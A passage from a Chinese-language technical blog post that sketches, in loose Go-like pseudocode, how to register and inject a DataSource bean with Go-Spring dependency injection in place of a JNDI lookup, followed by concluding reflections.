...ction() (sql.DB, error) { // 获取数据库连接的具体逻辑 } // 在Go-Spring的配置文件中注册DataSource Bean @Configuration func Config Beans(ctx ApplicationContext) { dataSource := &MyDataSource{/ 初始化参数 /} ctx.Bean("dataSource", dataSource) } // 在需要使用DataSource的Service或Repository中注入 @Service type MyService struct { dataSource DataSource autowired:"dataSource" // 其他业务方法... } 5. 小结与思考 尽管Go-Spring并没有直接复刻Java Spring中的JNDI机制，但其依赖注入的理念让我们能够以一种更符合Go语言习惯的方式来管理和组织资源，比如这里的DataSource。当你遇到“无法从JNDI资源里获取DataSource”这类棘手问题时，咱可以换个聪明的方式来解决。首先，我们可以精心设计一个合理的Bean架构，然后巧妙地运用Go-Spring的依赖注入功能。这样一来，就不用再按照传统的老套路去JNDI里苦苦查找了，而且你会发现，这样做不仅同样能达到目的，甚至还能收获更优的效果，简直是一举两得的妙招儿！ 在整个解决问题的过程中，我们可以看到Go-Spring对原始Spring框架理念的传承，同时也体现了Go语言简洁、高效的特性。这其实也像是在告诉我们，在实际开发工作中，就像打游戏那样，得瞅准了技术环境的“地形地貌”，灵活切换战术，把咱们精心挑选的技术栈当作趁手的武器，最大限度地发挥它的威力，实实在在地去攻克那些棘手的问题。